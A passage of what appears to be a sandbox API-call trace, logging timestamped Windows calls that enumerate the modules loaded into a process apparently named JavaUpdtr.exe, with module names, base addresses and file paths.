hModule=0x75390000, lpmodinfo=0x277fe58, cb=0xc | out: lpmodinfo=0x277fe58*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0116.304] GetLastError () returned 0x1e7 [0116.304] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0116.305] GetLastError () returned 0x1e7 [0116.305] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0116.305] GetLastError () returned 0x1e7 [0116.305] GetModuleInformation (in: hProcess=0x20c, hModule=0x75f40000, lpmodinfo=0x2780fec, cb=0xc | out: lpmodinfo=0x2780fec*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0116.306] GetLastError () returned 0x1e7 [0116.306] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0116.306] GetLastError () returned 0x1e7 [0116.306] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0116.307] GetLastError () returned 0x1e7 [0116.307] GetModuleInformation (in: hProcess=0x20c, hModule=0x75770000, lpmodinfo=0x27820e8, cb=0xc | out: lpmodinfo=0x27820e8*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0116.307] GetLastError () returned 0x1e7 [0116.307] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0116.308] GetLastError () returned 0x1e7 [0116.308] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0116.309] GetLastError () returned 0x1e7 [0116.309] GetModuleInformation (in: hProcess=0x20c, hModule=0x75290000, lpmodinfo=0x27831dc, cb=0xc | out: lpmodinfo=0x27831dc*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0116.309] GetLastError () returned 0x1e7 [0116.309] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0116.310] GetLastError () returned 0x1e7 [0116.310] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0116.310] GetLastError () returned 0x1e7 [0116.310] GetModuleInformation (in: hProcess=0x20c, hModule=0x72ac0000, lpmodinfo=0x27842d8, cb=0xc | out: lpmodinfo=0x27842d8*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0116.311] GetLastError () returned 0x1e7 [0116.311] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0116.311] GetLastError () returned 0x1e7 [0116.311] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0116.312] GetLastError () returned 0x1e7 [0116.312] GetModuleInformation (in: hProcess=0x20c, hModule=0x75440000, lpmodinfo=0x2785470, cb=0xc | out: lpmodinfo=0x2785470*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0116.312] GetLastError () returned 0x1e7 [0116.313] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0116.313] GetLastError () returned 0x1e7 [0116.313] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0116.314] GetLastError () returned 0x1e7 [0116.314] GetModuleInformation (in: hProcess=0x20c, hModule=0x75230000, lpmodinfo=0x278656c, cb=0xc | out: lpmodinfo=0x278656c*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0116.314] GetLastError () returned 0x1e7 [0116.314] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0116.315] GetLastError () returned 0x1e7 [0116.315] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0116.315] GetLastError () returned 0x1e7 [0116.316] GetModuleInformation (in: hProcess=0x20c, hModule=0x72320000, lpmodinfo=0x27876a4, cb=0xc | out: lpmodinfo=0x27876a4*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0116.316] GetLastError () returned 0x1e7 [0116.316] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0116.317] GetLastError () returned 0x1e7 [0116.317] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0116.317] GetLastError () returned 0x1e7 [0116.317] GetModuleInformation (in: hProcess=0x20c, hModule=0x750a0000, lpmodinfo=0x2788830, cb=0xc | out: lpmodinfo=0x2788830*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0116.318] GetLastError () returned 0x1e7 [0116.318] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0116.318] GetLastError () returned 0x1e7 [0116.319] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0116.319] GetLastError () returned 0x1e7 [0116.319] GetModuleInformation (in: hProcess=0x20c, hModule=0x74830000, lpmodinfo=0x27899ec, cb=0xc | out: lpmodinfo=0x27899ec*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0116.320] GetLastError () returned 0x1e7 [0116.320] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0116.320] GetLastError () returned 0x1e7 [0116.320] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0116.321] GetLastError () returned 0x1e7 [0116.321] GetModuleInformation (in: hProcess=0x20c, hModule=0x746a0000, lpmodinfo=0x278abd0, cb=0xc | out: lpmodinfo=0x278abd0*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0116.322] GetLastError () returned 0x1e7 [0116.322] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0116.322] GetLastError () returned 0x1e7 [0116.322] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0116.323] GetLastError () returned 0x1e7 [0116.323] GetModuleInformation (in: hProcess=0x20c, hModule=0x74fa0000, lpmodinfo=0x278bd70, cb=0xc | out: lpmodinfo=0x278bd70*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0116.324] GetLastError () returned 0x1e7 [0116.324] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0116.324] GetLastError () returned 0x1e7 [0116.324] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0116.325] GetLastError () returned 0x1e7 [0116.325] GetModuleInformation (in: hProcess=0x20c, hModule=0x75700000, lpmodinfo=0x278cf94, cb=0xc | out: lpmodinfo=0x278cf94*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0116.326] GetLastError () returned 0x1e7 [0116.326] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0116.326] GetLastError () returned 0x1e7 [0116.326] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0116.327] GetLastError () returned 0x1e7 [0116.327] CloseHandle (hObject=0x20c) returned 1 [0116.327] GetLastError () returned 0x1e7 [0116.328] GetCurrentProcessId () returned 0x4e8 [0116.328] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x20c [0116.328] GetLastError () returned 0x1e7 [0116.328] EnumProcessModules (in: hProcess=0x20c, lphModule=0x27acad8, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x27acad8, lpcbNeeded=0x31c9a8) returned 1 [0116.328] GetLastError () returned 0x1e7 [0116.328] GetModuleInformation (in: hProcess=0x20c, hModule=0xd40000, lpmodinfo=0x27acc18, cb=0xc | out: lpmodinfo=0x27acc18*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0116.328] GetLastError () returned 0x1e7 [0116.329] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0116.329] GetLastError () returned 0x1e7 [0116.329] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0116.329] GetLastError () returned 0x1e7 [0116.329] GetModuleInformation (in: hProcess=0x20c, hModule=0x77ac0000, lpmodinfo=0x27add7c, cb=0xc | out: lpmodinfo=0x27add7c*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0116.329] GetLastError () returned 0x1e7 [0116.329] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0116.329] GetLastError () returned 0x1e7 [0116.329] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0116.330] GetLastError () returned 0x1e7 [0116.330] GetModuleInformation (in: hProcess=0x20c, hModule=0x73cc0000, lpmodinfo=0x27aee70, cb=0xc | out: lpmodinfo=0x27aee70*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0116.330] GetLastError () returned 0x1e7 [0116.330] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0116.330] GetLastError () returned 0x1e7 [0116.330] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0116.330] GetLastError () returned 0x1e7 [0116.330] GetModuleInformation (in: hProcess=0x20c, hModule=0x75930000, lpmodinfo=0x27aff6c, cb=0xc | out: lpmodinfo=0x27aff6c*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0116.331] GetLastError () returned 0x1e7 [0116.331] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0116.331] GetLastError () returned 0x1e7 [0116.331] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0116.331] GetLastError () returned 0x1e7 [0116.331] GetModuleInformation (in: hProcess=0x20c, hModule=0x77670000, lpmodinfo=0x27b1070, cb=0xc | out: lpmodinfo=0x27b1070*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0116.331] GetLastError () returned 0x1e7 [0116.331] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0116.332] GetLastError () returned 0x1e7 [0116.332] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0116.332] GetLastError () returned 0x1e7 [0116.332] GetModuleInformation (in: hProcess=0x20c, hModule=0x75db0000, lpmodinfo=0x27b21ac, cb=0xc | out: lpmodinfo=0x27b21ac*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0116.332] GetLastError () returned 0x1e7 [0116.332] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0116.332] GetLastError () returned 0x1e7 [0116.332] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0116.333] GetLastError () returned 0x1e7 [0116.333] GetModuleInformation (in: hProcess=0x20c, hModule=0x76d40000, lpmodinfo=0x27b32b0, cb=0xc | out: lpmodinfo=0x27b32b0*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0116.333] GetLastError () returned 0x1e7 [0116.333] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0116.333] GetLastError () returned 0x1e7 [0116.333] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0116.334] GetLastError () returned 0x1e7 [0116.334] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ec0000, lpmodinfo=0x27b43ac, cb=0xc | out: lpmodinfo=0x27b43ac*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0116.334] GetLastError () returned 0x1e7 [0116.334] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0116.334] GetLastError () returned 0x1e7 [0116.334] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0116.335] GetLastError () returned 0x1e7 [0116.335] GetModuleInformation (in: hProcess=0x20c, hModule=0x75e50000, lpmodinfo=0x27b54a8, cb=0xc | out: lpmodinfo=0x27b54a8*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0116.335] GetLastError () returned 0x1e7 [0116.335] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0116.335] GetLastError () returned 0x1e7 [0116.335] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0116.335] GetLastError () returned 0x1e7 [0116.336] GetModuleInformation (in: hProcess=0x20c, hModule=0x75620000, lpmodinfo=0x27b65f4, cb=0xc | out: lpmodinfo=0x27b65f4*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0116.336] GetLastError () returned 0x1e7 [0116.336] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0116.336] GetLastError () returned 0x1e7 [0116.336] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0116.336] GetLastError () returned 0x1e7 [0116.337] GetModuleInformation (in: hProcess=0x20c, hModule=0x75610000, lpmodinfo=0x27b76f0, cb=0xc | out: lpmodinfo=0x27b76f0*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0116.337] GetLastError () returned 0x1e7 [0116.337] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0116.337] GetLastError () returned 0x1e7 [0116.337] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0116.338] GetLastError () returned 0x1e7 [0116.338] GetModuleInformation (in: hProcess=0x20c, hModule=0x737a0000, lpmodinfo=0x27b87f4, cb=0xc | out: lpmodinfo=0x27b87f4*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0116.338] GetLastError () returned 0x1e7 [0116.338] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0116.338] GetLastError () returned 0x1e7 [0116.338] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0116.339] GetLastError () returned 0x1e7 [0116.339] GetModuleInformation (in: hProcess=0x20c, hModule=0x75ba0000, lpmodinfo=0x27b992c, cb=0xc | out: lpmodinfo=0x27b992c*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0116.339] GetLastError () returned 0x1e7 [0116.339] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0116.340] GetLastError () returned 0x1e7 [0116.340] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0116.340] GetLastError () returned 0x1e7 [0116.340] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c40000, lpmodinfo=0x27baa28, cb=0xc | out: lpmodinfo=0x27baa28*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0116.340] GetLastError () returned 0x1e7 [0116.340] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0116.341] GetLastError () returned 0x1e7 [0116.341] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0116.341] GetLastError () returned 0x1e7 [0116.341] GetModuleInformation (in: hProcess=0x20c, hModule=0x75a40000, lpmodinfo=0x27bbb1c, cb=0xc | out: lpmodinfo=0x27bbb1c*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0116.342] GetLastError () returned 0x1e7 [0116.342] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0116.342] GetLastError () returned 0x1e7 [0116.342] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0116.342] GetLastError () returned 0x1e7 [0116.343] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c00000, lpmodinfo=0x27bcc18, cb=0xc | out: lpmodinfo=0x27bcc18*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0116.343] GetLastError () returned 0x1e7 [0116.343] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0116.343] GetLastError () returned 0x1e7 [0116.343] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0116.344] GetLastError () returned 0x1e7 [0116.344] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ee0000, lpmodinfo=0x27bdd04, cb=0xc | out: lpmodinfo=0x27bdd04*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0116.344] GetLastError () returned 0x1e7 [0116.344] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0116.345] GetLastError () returned 0x1e7 [0116.345] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0116.345] GetLastError () returned 0x1e7 [0116.345] GetModuleInformation (in: hProcess=0x20c, hModule=0x758d0000, lpmodinfo=0x27bee88, cb=0xc | out: lpmodinfo=0x27bee88*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0116.345] GetLastError () returned 0x1e7 [0116.346] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0116.346] GetLastError () returned 0x1e7 [0116.346] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0116.346] GetLastError () returned 0x1e7 [0116.347] GetModuleInformation (in: hProcess=0x20c, hModule=0x76df0000, lpmodinfo=0x27bff7c, cb=0xc | out: lpmodinfo=0x27bff7c*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0116.347] GetLastError () returned 0x1e7 [0116.347] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0116.347] GetLastError () returned 0x1e7 [0116.347] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0116.348] GetLastError () returned 0x1e7 [0116.348] GetModuleInformation (in: hProcess=0x20c, hModule=0x75430000, lpmodinfo=0x27c1070, cb=0xc | out: lpmodinfo=0x27c1070*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0116.348] GetLastError () returned 0x1e7 [0116.348] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0116.349] GetLastError () returned 0x1e7 [0116.349] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0116.349] GetLastError () returned 0x1e7 [0116.349] GetModuleInformation (in: hProcess=0x20c, hModule=0x749d0000, lpmodinfo=0x27c216c, cb=0xc | out: lpmodinfo=0x27c216c*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0116.350] GetLastError () returned 0x1e7 [0116.350] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0116.350] GetLastError () returned 0x1e7 [0116.350] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x749d0000, 